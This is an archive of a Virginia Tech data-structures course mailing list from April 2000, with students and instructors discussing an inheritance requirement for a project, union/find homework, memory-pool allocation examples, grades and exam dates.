========================================================================= Date: Sat, 1 Apr 2000 11:54:32 -0500 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brandon McKelvey Subject: Re: Project 4 spec MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Ok let me understand this correctly. In project 2 we were not required to use inheritance. On the other hand we were supposed to write project 2 with the full intention we could implement it in "P4". So I find it kinda discouraning that you would now punish us for previous programing. I find it unfair that alot of the people who did well on project 2, now have to go rewrite it for a simple object oriented idea to be implemented. This is data stuctures correct? I dont stand alone here there are others like me that designed a data stucture that met the spec in project 2 so why change it now. I dont see the educational process in this change I see it more as just a way to punish people who didnt use the best abstaction. brandon ========================================================================= Date: Sat, 1 Apr 2000 12:20:17 -0500 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "Michael S. Moulton" Subject: Re: Project 4 spec In-Reply-To: <000901bf9bfa$fce81260$ebd8c026@parklink.net> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii I have to say I agree with Brandon. One thing I have enjoyed about this class (up until I read this spec, at least), is that we have been allowed to make our own decisions as to the best choices of data types to use for our projects. That's been thrown out the window here. And we were told to plan to reuse our P2 code for P4, but now those of us who didn't write P2 exactly the same way the authors of the spec would have written it have to rewrite their code! Had we been told about this in P2, we all could have designed our PRQT's to use inheritance, and then we could reuse the code-- which you told us we would be able to do. Now we are going to have to spend significant amounts of time rewriting P2 before we can even start on P4. --Mike --- Michael S. Moulton UZ 541+UUD Lord Bodak msmoulton@iname.com VT Class of 2001 http://www.ee.vt.edu/~mmoulton/ ========================================================================= Date: Sat, 1 Apr 2000 12:39:37 -0500 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Scott Walker Subject: Re: Project 4 spec In-Reply-To: <000901bf9bfa$fce81260$ebd8c026@parklink.net> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Brandon McKelvey Sent: Saturday, April 01, 2000 11:55 AM To: CS2604@LISTSERV.VT.EDU Subject: Re: Project 4 spec > Ok let me understand this correctly. In project 2 we were not required >to use inheritance. On the other hand we were supposed to write project 2 >with the full intention we could implement it in "P4". You said it all right there! We were not "required" to use inheritance, but we should have written it in such a way that we could reuse it in a later project. Reusability should be a general programming practice. If you always write your code with the intention of being able to use it again later you save yourself a lot of rewrite time in the future. Granted maybe you're a CPE major and "all this programming crap" is just something you HAVE to take and you don't really give a damn about reusabilty. As a CS major I could say the same about the CPE class I have to take, but the point is that no matter how much we dislike or how much we piss and moan about having to learn things we may never use again we still HAVE to take them. >So I find it kinda discouraning that you would now punish us for previous >programing. I find it unfair that alot of the people who did well on project 2, >now have to go rewrite it for a simple object oriented idea to be implemented. I find it kinda ridiculous that you blame the professor for being "unfair" to or for "punishing" those people who didn't use good abstraction. From your very first statement it is clear that you knew full well that you were going to have to reuse the code from project 2. >This is data stuctures correct? Yes, this is data structures. It's not only a class about desiging data structures, but a class about efficiency. Efficiency of a program can be judged by the amount of time it takes to run, as well as the amount of space it runs in. Using inheritance of nodes in the tree is more efficient space wise than using a single node class because you eliminate the overhead of the data in the internal nodes, and the overhead of the pointers in the leaf nodes. Looking at it that way, inheritance of node classes does not seem like an unreasonable thing to ask in a data structures class, especially after you yourself called it "simple". The professors (Dr. Schaffer at least) never claimed that we would be able to directly reusue our code from P2 in P4. He made it very clear that some amount of rewrite was likely to be necessary for all of our projects except perhaps for P3 in order to get them to mesh in P4. Being able to reuse any code from previous projects is better than being able to reuse practically none as in most of our previous programming courses. ========================================================================= Date: Sat, 1 Apr 2000 12:50:06 -0500 Reply-To: joowens@vt.edu Sender: CS2604 discussion list From: John Owens Subject: Re: Project 4 spec In-Reply-To: <3.0.5.32.20000401122017.00914bb0@mail.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit I am in Dr. Shaffer's class and I specifically remember him talking about this in class for project 2. Although the spec does not say "Do this a certain way for project 4" it told you what you needed to do for project 2. However, Dr. Shaffer specifically told the class that you had the options of doing the current project (project 2 at the time) either way, but if you want to be able to re-use more of your code you would code it with the node knowing X, the tree structure knowing Y, and using Z style of programming. Not that you were being graded on those specific things on project 2, but it would be considered "good programming" if you used inheritance, and made the program using X,Y,Z things, thus allowing greater re-usability. Johh Owens -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Michael S. Moulton Sent: Saturday, April 01, 2000 12:20 PM To: CS2604@LISTSERV.VT.EDU Subject: Re: Project 4 spec I have to say I agree with Brandon. One thing I have enjoyed about this class (up until I read this spec, at least), is that we have been allowed to make our own decisions as to the best choices of data types to use for our projects. That's been thrown out the window here. And we were told to plan to reuse our P2 code for P4, but now those of us who didn't write P2 exactly the same way the authors of the spec would have written it have to rewrite their code! Had we been told about this in P2, we all could have designed our PRQT's to use inheritance, and then we could reuse the code-- which you told us we would be able to do. Now we are going to have to spend significant amounts of time rewriting P2 before we can even start on P4. --Mike --- Michael S. Moulton UZ 541+UUD Lord Bodak msmoulton@iname.com VT Class of 2001 http://www.ee.vt.edu/~mmoulton/ ========================================================================= Date: Sat, 1 Apr 2000 13:00:57 -0500 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "Michael S. Moulton" Subject: Re: Project 4 spec In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=us-ascii At 12:39 PM 4/1/00 -0500, you wrote: >You said it all right there! We were not "required" to use inheritance, >but we should have written it in such a way that we could reuse it in a >later project. Reusability should be a general programming practice. If you >always write your code with the intention of being able to use it again >later >you save yourself a lot of rewrite time in the future. Granted maybe you're >a CPE major and "all this programming crap" is just something you HAVE to >take and you don't really give a damn about reusabilty. As a CS major I >could say the same about the CPE class I have to take, but the point is >that no matter how much we dislike or how much we piss and moan about having >to learn things we may never use again we still HAVE to take them. Ok... maybe we _should_ have written it with inheritance. But inheritance != reusability. There is absolutely NO reason why the P2 code has to use inheritance in order for us to be able to reuse it. I wrote my code with the intention of reusing it in P4-- b/c that's what we were told to plan on doing. I chose not to use inheritance, but does that mean my code isn't reusable? NO! --Mike --- Michael S. Moulton UZ 541+UUD Lord Bodak msmoulton@iname.com VT Class of 2001 http://www.ee.vt.edu/~mmoulton/ ========================================================================= Date: Sat, 1 Apr 2000 13:45:29 -0500 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brandon McKelvey Subject: Re: Project 4 spec MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit CPE major and "all this programming crap"? if you would like to make personal attacks on CPE majors please do that to my personal email account. What does that have to do with my complaint? I think that is out of bounds. My compaint was directed at Dr. Shafer. Moreover my complaint is the lack of comunication between Dr. Shafer and Dr. Roach. I did that project the day it came out and then later(much later) i was told that you should use inheritance. It is fine I will rewrite project 2. I am just saying i am not alone and others might fell the same as me. Maybe they are CPE also and are idiots that dont like programing. At least thats not the case here. i have enjoyed this class and i wish i would just here exactly what they want when the spec come out not after like a few weeks, and I wish i could get my questions answered in class about the spec. brandon ========================================================================= Date: Sat, 1 Apr 2000 14:40:51 -0500 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Jason Giglio Subject: Re: Project 4 spec In-Reply-To: <002301bf9c0a$796177a0$ebd8c026@parklink.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To clarify something, it was never stated that we would have to use inheritance to be able to reuse the code, the only caution about reusability was to use accessor methods for the node class instead of making its data members public. At 01:45 PM 4/1/00 -0500, you wrote: >CPE major and "all this programming crap"? >if you would like to make personal attacks on CPE majors please do that to >my personal email account. >What does that have to do with my complaint? I think that is out of bounds. > My compaint was directed at Dr. Shafer. Moreover my complaint is the >lack of comunication between Dr. Shafer and Dr. Roach. I did that project >the day it came out and then later(much later) i was told that you should >use inheritance. It is fine I will rewrite project 2. I am just saying i >am not alone and others might fell the same as me. Maybe they are CPE also >and are idiots that dont like programing. At least thats not the case here. >i have enjoyed this class and i wish i would just here exactly what they >want when the spec come out not after like a few weeks, and I wish i could >get my questions answered in class about the spec. > >brandon > ========================================================================= Date: Sat, 1 Apr 2000 15:01:09 -0500 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Scott Walker Subject: Re: Project 4 spec In-Reply-To: <002301bf9c0a$796177a0$ebd8c026@parklink.net> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Well there are a few things I will agree with you about. The first being that sometimes there isn't enough communication between professors, or between professors and the TAs. In general I would say that it is better this year than last year in OOP, but sometimes it does still cause distress. I will also agree with you that I was a bit hasty in judging all CPE majors and their like/dislike for programming. I suppose all those hours of listening to a few CPEs last year rant about how much they didn't want to be doing it must have gotten to me. It's good to see that there are actually more than a few of you out there who enjoy it and I will keep that in mind before going ballistic again. In any case, the main point of my original email was to say that although in a perfect world the professors would be infalliable, we don't live in a perfect world. The best we can hope for is to start projects late (after clarifications) and somehow still finish early. -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu]On Behalf Of Brandon McKelvey Sent: Saturday, April 01, 2000 1:45 PM To: CS2604@LISTSERV.VT.EDU Subject: Re: Project 4 spec CPE major and "all this programming crap"? if you would like to make personal attacks on CPE majors please do that to my personal email account. What does that have to do with my complaint? I think that is out of bounds. My compaint was directed at Dr. Shafer. Moreover my complaint is the lack of comunication between Dr. Shafer and Dr. Roach. I did that project the day it came out and then later(much later) i was told that you should use inheritance. It is fine I will rewrite project 2. I am just saying i am not alone and others might fell the same as me. Maybe they are CPE also and are idiots that dont like programing. At least thats not the case here. i have enjoyed this class and i wish i would just here exactly what they want when the spec come out not after like a few weeks, and I wish i could get my questions answered in class about the spec. brandon ========================================================================= Date: Sun, 2 Apr 2000 16:53:46 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: Next midterm date? MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII I know he announces it every class, but when is Shaffer's midterm for the 2pm? ========================================================================= Date: Mon, 3 Apr 2000 01:07:35 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "John Anthony Kazos Jr." Subject: HW2#1: Array includes child count? MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII In homework 2, question 1, should the array we submit include the child counts for each node (for implementing the weighted union rule)? Or should it include only the parent indices and the labels? Example: page 174, figure 6.6(d) -------------------------------- Parent: 5 0 0 5 3 X 5 2 5 X Label: A B C D E F G H I J Count: 3 0 1 1 0 8 0 0 0 0 ========================================================================= Date: Mon, 3 Apr 2000 12:04:58 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Inheritance in P4 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII For those of you complaining about the requirement that the node class use inheritance: 1) You should realize that the node class must be rewritten, regardless of how it was implemented in P2. It is the tree class that might or might not be reusable, depending on how well you wrote it the first time. 2) This requirement will *not* be dropped. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Mon, 3 Apr 2000 12:05:35 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Next midterm date? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The second midterm for my MWF 2:00 section is Monday, April 10. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Mon, 3 Apr 2000 12:08:40 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: HW2#1: Array includes child count? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 3 Apr 2000, John Anthony Kazos Jr. wrote: > In homework 2, question 1, should the array we submit include the child counts > for each node (for implementing the weighted union rule)? Or should it include > only the parent indices and the labels? > > Example: page 174, figure 6.6(d) > -------------------------------- > > Parent: 5 0 0 5 3 X 5 2 5 X > Label: A B C D E F G H I J > Count: 3 0 1 1 0 8 0 0 0 0 You are not required to include the child counts. So, the answer that appears should look like the first two lines (except that the "labels" for that exercise will be values 0 to 15). -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Sat, 3 Apr 0100 15:00:42 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Brian Wagner Subject: Re: Inheritance in P4 In-Reply-To: from "Cliff Shaffer" at Apr 3, 0 12:04:58 pm Content-Type: text > For those of you complaining about the requirement that the node class use > inheritance: > > 1) You should realize that the node class must be rewritten, regardless of > how it was implemented in P2. It is the tree class that might or might > not be reusable, depending on how well you wrote it the first time. > > 2) This requirement will *not* be dropped. Will you be so kind as to let us know the number of points taken off if inheritance isn't used? My minimization of my implementation's complexity directly depends on NOT using inheritance in my node class. -- // *Brian Wagner, CpE My Homepage: http://www.bigfoot.com/~datatroi // The VT Heavy "Metal Club" page: http://www.bigfoot.com/~vtmetal "Never kick a fresh turd on a hot day." --Harry S Truman ------------------------------------------------------------------------- ========================================================================= Date: Mon, 3 Apr 2000 15:18:14 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: "Dzung T. Dang" Subject: Re: HW2#1: Array includes child count? MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Question #1: There are 15 (0-14) numbers in the series so why we use 16 indices (0-15)? Thanks Dzung ----- Original Message ----- From: "Cliff Shaffer" To: Sent: Monday, April 03, 2000 12:08 PM Subject: Re: HW2#1: Array includes child count? > On Mon, 3 Apr 2000, John Anthony Kazos Jr. wrote: > > > In homework 2, question 1, should the array we submit include the child counts > > for each node (for implementing the weighted union rule)? Or should it include > > only the parent indices and the labels? > > > > Example: page 174, figure 6.6(d) > > -------------------------------- > > > > Parent: 5 0 0 5 3 X 5 2 5 X > > Label: A B C D E F G H I J > > Count: 3 0 1 1 0 8 0 0 0 0 > > You are not required to include the child counts. So, the answer that > appears should look like the first two lines (except that the "labels" > for that exercise will be values 0 to 15). > > -- > Cliff Shaffer, Associate Professor Phone: (540) 231-4354 > Department of Computer Science Email: shaffer@cs.vt.edu > Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer > ------------------------------------------------------------------------- ========================================================================= Date: Mon, 3 Apr 2000 17:11:50 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: HW2#1: Array includes child count? In-Reply-To: <000801bf9da1$5c091da0$615152c6@sili99> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 3 Apr 2000, Dzung T. Dang wrote: > > You are not required to include the child counts. So, the answer that > > appears should look like the first two lines (except that the "labels" > > for that exercise will be values 0 to 15). > Question #1: > There are 15 (0-14) numbers in the series so why we use 16 indices (0-15)? The number of objects in the system has nothing to do with which objects have been UNION'ed together. In this case, there happen to be 16 objects, labeled 0 to 15. The equivalence series could have touched any, none, or all of the objects. If it should just so happen that the last item was not equivalenced, that is pure accident. It could just as well been, say, item 3. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Mon, 3 Apr 2000 17:09:46 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Pratima Aiyagari Subject: sections 1368 and 1369 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The grades for sections 1368 and 1369 have now been updated on the course web-site. If there is a problem with your grades, please contact Shalaka (section 1369) or me (section 1368) to sort it out. Thanks, Pratima ========================================================================= Date: Mon, 3 Apr 2000 18:11:27 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Samantha Spooner Subject: Re: sections 1368 and 1369 MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Hi, I got a message saying the other day that my grade on project 2 had been changed to a 120 instead of a 110. I got points back for not using inheritance and for my internal nodes not being empty. Why is my grade changed back? I don't think it is fair of you to tell me I have a 120, and then change my grade again. Could you please tell me what is going on? Samantha ----- Original Message ----- From: Pratima Aiyagari To: Sent: Monday, April 03, 2000 5:09 PM Subject: sections 1368 and 1369 > The grades for sections 1368 and 1369 have now been updated on the course > web-site. If there is a problem with your grades, please contact Shalaka > (section 1369) or me (section 1368) to sort it out. > > Thanks, > Pratima ========================================================================= Date: Mon, 3 Apr 2000 18:24:59 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Pratima Aiyagari Subject: Re: sections 1368 and 1369 In-Reply-To: <00bc01bf9db9$8e566340$a04352c6@0017126382> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII sorry about that. just an error with updating the files. you do get your points back, and the web-page now reflects the change. - pratima On Mon, 3 Apr 2000, Samantha Spooner wrote: > Hi, I got a message saying the other day that my grade on project 2 had been > changed to a 120 instead of a 110. I got points back for not using > inheritance and for my internal nodes not being empty. Why is my grade > changed back? I don't think it is fair of you to tell me I have a 120, and > then change my grade again. Could you please tell me what is going on? > > > Samantha > > ----- Original Message ----- > From: Pratima Aiyagari > To: > Sent: Monday, April 03, 2000 5:09 PM > Subject: sections 1368 and 1369 > > > > The grades for sections 1368 and 1369 have now been updated on the course > > web-site. If there is a problem with your grades, please contact Shalaka > > (section 1369) or me (section 1368) to sort it out. > > > > Thanks, > > Pratima > ______________________________________________________ the years drift by, like lost boats .... _/ _/_/ _/ _/_/ _/ _/_/_/_/ _/ _/ _/ _/ _/_/ _/ _/ _/_/ _/ _/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ ========================================================================= Date: Mon, 3 Apr 2000 18:26:36 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Pratima Aiyagari Subject: office hours MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I will be unavailable from 6:30 - 7:00 p.m. today due to an urgent matter that just came up. Sorry about the late notice. - Pratima ______________________________________________________ the years drift by, like lost boats .... _/ _/_/ _/ _/_/ _/ _/_/_/_/ _/ _/ _/ _/ _/_/ _/ _/ _/_/ _/ _/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ ========================================================================= Date: Tue, 4 Apr 2000 15:19:34 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: What happens when the memory pool grows? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The question came up in class yesterday regarding what to do with the current freeblock pointer when the memory pool is expanded. First, here is what the spec says (last paragraph of the "implementation" section): "Note that there is no parameter that specifies the size of the memory pool. Initially, the memory pool (and the file) should have length 0. Whenever a request is made to the memory manager that it cannot fulfill with existing free blocks, the size of the memory pool should grow by one (or more) disk block to meet the request." The two questions that should occur to you are (1) What happens if there is already a freeblock at the end of the pool? and (2) Where is the "current" pointer at the end of the process? I believe the rules in place from P1 nicely dictate the result that should take place. If there is already free space at the end of the pool, then it will naturally coalesce with the new space being added. And, since this new space is being added explicitly to service the request, then clearly any space left after servicing the request will be the new "current" block, just as though the newly-added space had been there all along. A couple of examples. I will use the notation (#1, #2) to indicate a free block beginning at byte offset #1 and extending for #2 bytes. The current freeblock will be preceded by *. Example 1: Memory pool is 200 bytes long, with disk blocks of 100 bytes each. Free block list is: (20, 10) *(100, 30) (150, 20) Request is for 50 bytes. There is no freeblock at the end of the pool, so a new freeblock at (200, 100) is added, and 50 bytes are allocated away. The result is the following freeblock list: (20, 10) (100, 30) (150, 20) *(250, 50) Example 2: Memory pool is 200 bytes long, with disk blocks of 100 bytes each. Free block list is: (20, 10) *(100, 30) (150, 20) (190 10) Request is for 150 bytes. To service this request, we need to allocate two new diskblocks, and they are combined with the existing freeblock at the end of the pool to yield a freeblock of 210 bytes. 150 bytes are then given away, leaving 60 bytes free, and a freelist as follows: (20, 10) (100, 30) (150, 20) *(340 60) Example 3: Memory pool is 200 bytes long, with disk blocks of 100 bytes each. Free block list is: (20, 10) *(100, 30) (150, 20) (190 10) Request is for 110 bytes. To service this request, we allocate one new diskblock, which combines with the existing one at the end of the memory pool. It is used completely, leaving the next one in line (the one at the front of the buffer, due to wrap-around) as "current", as follows: *(20, 10) (100, 30) (150, 20) -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Tue, 4 Apr 2000 22:14:23 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Shalaka Tendulkar Subject: P3 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, The P3 grades for section 1369 have been put up on the web. Contact me if you have any problems. The grading sheets will be sent out soon. Thanks, Shalaka ========================================================================= Date: Wed, 5 Apr 2000 12:44:04 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Reminder: Homework 2 due today MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Just thought I should send a reminder that HW2 is due today. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Wed, 5 Apr 2000 12:55:30 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: P3 gradesheets for my section MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I have now emailed the P3 gradesheets for my section (except for a couple of submissions that the GTA should already have contacted you about). -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Wed, 5 Apr 2000 12:58:47 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Final Exam In-Reply-To: <38E39F15.B441FB42@vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 30 Mar 2000, Richard Bowman wrote: > Have the final time and locations been announced for the exam? I am in > Roach's MWF9am class. Thanks for any help. Here is preliminary information about the CS2604 final. ALL SECTIONS will take their final during the commontime exam block set by the registrar, as listed in the timetable. This is at 7:45 AM on Wednesday, May 10. (Believe me, this was NOT our idea, the instructors and GTAs are just as unhappy about the time as you are.) It has not been determined yet what room(s) will be used. We will let you know. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Wed, 5 Apr 2000 15:37:09 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Jason Giglio Subject: Re: Final Exam In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Will the exam be the same for all sections, or will each professor give their own version of the final? Also, anyone feel free to jump in here, is there going to be another test in Dr. Roache's class before the final? At 12:58 PM 4/5/00 -0400, you wrote: >On Thu, 30 Mar 2000, Richard Bowman wrote: > >> Have the final time and locations been announced for the exam? I am in >> Roach's MWF9am class. Thanks for any help. > >Here is preliminary information about the CS2604 final. ALL SECTIONS will >take their final during the commontime exam block set by the registrar, as >listed in the timetable. This is at 7:45 AM on Wednesday, May 10. >(Believe me, this was NOT our idea, the instructors and GTAs are just as >unhappy about the time as you are.) > >It has not been determined yet what room(s) will be used. We will let you >know. > >-- >Cliff Shaffer, Associate Professor Phone: (540) 231-4354 >Department of Computer Science Email: shaffer@cs.vt.edu >Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer >------------------------------------------------------------------------- > ========================================================================= Date: Wed, 5 Apr 2000 15:54:44 -0400 Reply-To: csharp@vt.edu Sender: CS2604 discussion list From: Chris Sharp Subject: Re: Final Exam In-Reply-To: <3.0.6.32.20000405153709.00841c10@mail.vt.edu> MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit >Will the exam be the same for all sections, or will each professor give >their own version of the final? As I understand it, each professor will make up there own exam just like the midterm was. >Also, anyone feel free to jump in here, is there going to be another test >in Dr. Roache's class before the final? No, Dr. Roach only has a midterm and a final. Chris -----Original Message----- From: CS2604 discussion list [mailto:CS2604@listserv.vt.edu] On Behalf Of Jason Giglio Sent: Wednesday, April 05, 2000 3:37 PM To: CS2604@LISTSERV.VT.EDU Subject: Re: Final Exam Will the exam be the same for all sections, or will each professor give their own version of the final? Also, anyone feel free to jump in here, is there going to be another test in Dr. Roache's class before the final? At 12:58 PM 4/5/00 -0400, you wrote: >On Thu, 30 Mar 2000, Richard Bowman wrote: > >> Have the final time and locations been announced for the exam? I am in >> Roach's MWF9am class. Thanks for any help. > >Here is preliminary information about the CS2604 final. ALL SECTIONS will >take their final during the commontime exam block set by the registrar, as >listed in the timetable. This is at 7:45 AM on Wednesday, May 10. >(Believe me, this was NOT our idea, the instructors and GTAs are just as >unhappy about the time as you are.) > >It has not been determined yet what room(s) will be used. We will let you >know. > >-- >Cliff Shaffer, Associate Professor Phone: (540) 231-4354 >Department of Computer Science Email: shaffer@cs.vt.edu >Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer >------------------------------------------------------------------------- > ========================================================================= Date: Wed, 5 Apr 2000 16:51:07 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Cliff Shaffer Subject: Re: Inheritance in P4 In-Reply-To: <200004031900.PAA00650@brwagne2.campus.vt.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 3 Apr 100, Brian Wagner wrote: > Will you be so kind as to let us know the number of points taken off if > inheritance isn't used? Probably about 20 points. -- Cliff Shaffer, Associate Professor Phone: (540) 231-4354 Department of Computer Science Email: shaffer@cs.vt.edu Virginia Tech, Blacksburg, VA 24061-0106 WWW: www.cs.vt.edu/~shaffer ------------------------------------------------------------------------- ========================================================================= Date: Wed, 5 Apr 2000 18:14:30 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Mark Subject: hw #5 MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit When it says prove or disprove, are we required to do any kind of a formal proof or can we just explain (as best we can) whichever way we are arguing Mark ========================================================================= Date: Wed, 5 Apr 2000 19:52:12 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: =?iso-8859-1?Q?=A7=EDd=EBsm=E2=E7k?= Subject: Re: hw #1 In-Reply-To: <000401bf9f4c$5047d900$666152c6@darboy> MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii I'm confused as crap with #1 and the examples in the book seem to be filled with typos. I understand what we are supposed to do - but it seems impossible to build a tree with these values. Can anyone give me some tips. -Sidesmack ========================================================================= Date: Wed, 5 Apr 2000 19:55:42 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: NarCosiS Subject: HW2 MIME-version: 1.0 Content-type: MULTIPART/ALTERNATIVE; BOUNDARY="Boundary_(ID_R80dPQQOUrHiTa/CoFIABA)" This is a multi-part message in MIME format. --Boundary_(ID_R80dPQQOUrHiTa/CoFIABA) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable For 8.17 do we have to write actaul code, psuedocode, or just explain = what we would do? Thanx --Boundary_(ID_R80dPQQOUrHiTa/CoFIABA) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: quoted-printable
For 8.17 do we have to write actaul = code,=20 psuedocode, or just explain what we would do?
       =20 Thanx
--Boundary_(ID_R80dPQQOUrHiTa/CoFIABA)-- ========================================================================= Date: Thu, 6 Apr 2000 01:12:21 +0000 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: Dmitry Bocharnikov Subject: Re: hw #1 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit If I understood it correctly the assingment is really easy. First you have 16 not linked nodes. Then you have the equivalence relationships defined by the data in the assignment. Build the tree using two methods based on these relationships and the final result is what you need. Example: let's say you have A, B, and C that are initially not linked. Then let's say you have (A, B) so you build a tree as A<-B with A root and B having a parent pointer. Then you have (C, B). So you attach C to the existing AB tree. ETC Please correct me if I'm wrong Dmitry §ídësmâçk wrote: > > I'm confused as crap with #1 and the examples in the book seem to be filled > with typos. I understand what we are supposed to do - but it seems > impossible to build a tree with these values. Can anyone give me some tips. > > -Sidesmack ========================================================================= Date: Wed, 5 Apr 2000 20:26:59 -0400 Reply-To: CS2604 discussion list Sender: CS2604 discussion list From: =?iso-8859-1?Q?=A7=EDd=EBsm=E2=E7k?= Subject: Re: hw #1 In-Reply-To: <38EBE475.43D230B8@vt.edu> MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=iso-8859-1 Content-Transfer-Encoding: 8bit If that is the case, then how do you explain (4, 5) 